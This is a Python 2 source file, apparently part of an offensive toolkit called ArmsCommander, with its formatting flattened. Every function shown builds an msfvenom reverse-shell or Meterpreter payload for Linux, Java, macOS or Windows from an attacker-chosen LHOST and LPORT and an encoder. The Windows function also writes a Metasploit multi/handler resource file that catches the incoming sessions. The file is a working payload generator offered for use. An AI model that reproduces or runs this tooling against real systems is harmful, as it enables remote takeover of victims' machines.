def Linux_STAGED(): #2. Linux Reverse Shells #1. Linux Meterpreter Reverse TCP, Staged opt_Dict = {'1': 'linux/x86/meterpreter/reverse_tcp'} opt_Choice = str( raw_input("Press 1 to create a reverse meterpreter TCP payload: ")) if opt_Choice in opt_Dict: os.system('cat /root/ArmsCommander/msfvenom_encoders.txt') print colored('Please answer the following questions', 'red', 'on_white') payload_Set = opt_Dict[opt_Choice] user_input = payload_Parameters.from_input() bad_Bytes = "x00" payload_file = payload_dir + user_input.output_payload payload = payload_Set LHOST = user_input.LHOST LPORT = user_input.LPORT encoder = user_input.encoder encoder_iterations = user_input.encoder_iterations output_format = user_input.output_format output_file = user_input.output_payload remote_exploit_toolkits.msfvenom_syntax(payload, LHOST, LPORT, encoder, encoder_iterations, output_format, output_file) else: print colored('You have entered a invalid option', 'red', 'on_white') Linux_STAGED() main() return
def Java_STAGED(): opt_Dict = { '1': 'java/meterpreter/reverse_tcp', '2': 'java/meterpreter/reverse_http', '3': 'java/meterpreter/reverse_https' } opt_List = ('\n\t#1. Java Reverse Meterpreter, TCP', '#2. Java Reverse Meterpreter, HTTP', '#3. Java Reverse Meterpreter, HTTPS') print("\n\t".join(opt_List)) opt_Choice = str(raw_input("Enter a payload shown: ")) if opt_Choice in opt_Dict: os.system('cat /root/ArmsCommander/msfvenom_encoders.txt') print colored('Please answer the following questions', 'red', 'on_white') payload_Set = opt_Dict[opt_Choice] user_input = payload_Parameters.from_input() bad_Bytes = "x00" payload_file = payload_dir + user_input.output_payload payload = payload_Set LHOST = user_input.LHOST LPORT = user_input.LPORT encoder = user_input.encoder encoder_iterations = user_input.encoder_iterations output_format = user_input.output_format output_file = user_input.output_payload remote_exploit_toolkits.msfvenom_syntax(payload, LHOST, LPORT, encoder, encoder_iterations, output_format, output_file) else: print colored('You have entered a invalid option', 'red', 'on_white') Java_STAGED() main() return
def OSX_x86(): opt_Dict = { '1': 'osx/x86/shell_reverse_tcp', '2': 'osx/x86/vforkshell_reverse_tcp', '3': 'osx/x86/vforkshell/reverse_tcp' } opt_List = ('\n\t#1. x86/x64 Command Shell Reverse TCP, INLINE', '#2. x86/x64 V-Fork Command Shell, Reverse TCP, INLINE', '#3. x86/x64 V-Fork Command Shell, Reverse TCP, STAGED') print("\n\t".join(opt_List)) opt_Choice = str(raw_input("Enter a payload shown: ")) if opt_Choice in opt_Dict: os.system('cat /root/ArmsCommander/msfvenom_encoders.txt') print colored('Please answer the following questions', 'red', 'on_white') payload_Set = opt_Dict[opt_Choice] user_input = payload_Parameters.from_input() bad_Bytes = "x00" payload_file = payload_dir + user_input.output_payload payload = payload_Set LHOST = user_input.LHOST LPORT = user_input.LPORT encoder = user_input.encoder encoder_iterations = user_input.encoder_iterations output_format = user_input.output_format output_file = user_input.output_payload remote_exploit_toolkits.msfvenom_syntax(payload, LHOST, LPORT, encoder, encoder_iterations, output_format, output_file) else: print colored('You have entered a invalid option', 'red', 'on_white') OSX_x86() main() return
def Windows_INLINE(): opt_Dict = { '1': 'windows/meterpreter_reverse_tcp', '2': 'windows/meterpreter_reverse_http', '3': 'windows/meterpreter_reverse_https' } opt_List = ('\n\t#1. Windows Meterpreter, Reverse TCP Shell', '#2. Windows Meterpreter, Reverse HTTP Shell', '#3. Windows Meterpreter, Reverse HTTPS Shell') print("\n\t".join(opt_List)) opt_Choice = str(raw_input("Enter a payload shown: ")) if opt_Choice in opt_Dict: os.system('cat /root/ArmsCommander/msfvenom_encoders.txt') print colored('Please answer the following questions', 'red', 'on_white') payload_Set = opt_Dict[opt_Choice] user_input = payload_Parameters.from_input() bad_Bytes = "x00" payload_file = payload_dir + user_input.output_payload payload = payload_Set LHOST = user_input.LHOST LPORT = user_input.LPORT encoder = user_input.encoder encoder_iterations = user_input.encoder_iterations output_format = user_input.output_format output_file = user_input.output_payload remote_exploit_toolkits.msfvenom_syntax(payload, LHOST, LPORT, encoder, encoder_iterations, output_format, output_file) # generate a handler file print 'Creating handler directory and generating handler file' # # handler_directory = '/root/ArmsCommander/payloads/' # handler_filename = 'EasyPeasey_payload_handler.rc' # You cant use the metasploit payload anme as filename, because it is '/' syntax, cvausing errors # handler_fullpath = handler_directory + handler_filename handler = open( '/root/ArmsCommander/payloads/EasyPeasey_payload_handler.rc', 'w') # write proper parameters to handler file print 'Writing to handler file' handler.write('use multi/handler') # handler.write("\nset PAYLOAD {0}").format(str(payload_Set)) # Well my other program DIAMONDSHARK showed that it uses + operators instead of %s and .format {} handler.write("\nset PAYLOAD " + payload_Set) # handler.write("\nset PAYLOAD {0}").format(str(payload_Set)) handler.write('\nset LHOST 0.0.0.0') # handler.write("\nset LPORT {0}").format(user_input.LPORT) handler.write("\nset LPORT " + user_input.LPORT) handler.write('\nset ExitOnSession false') handler.write('\nexploit -j -z') # Inform user where the handler file is stored print colored( 'Your handler file is located at /root/ArmsCommander/payloads/EasyPeasey_payload_handler.rc', 'red', 'on_white') print 'To use, open msfconsole and type "resource <handlerfile.rc>"' else: print colored('You have entered a invalid option', 'red', 'on_white') Windows_STAGED() main()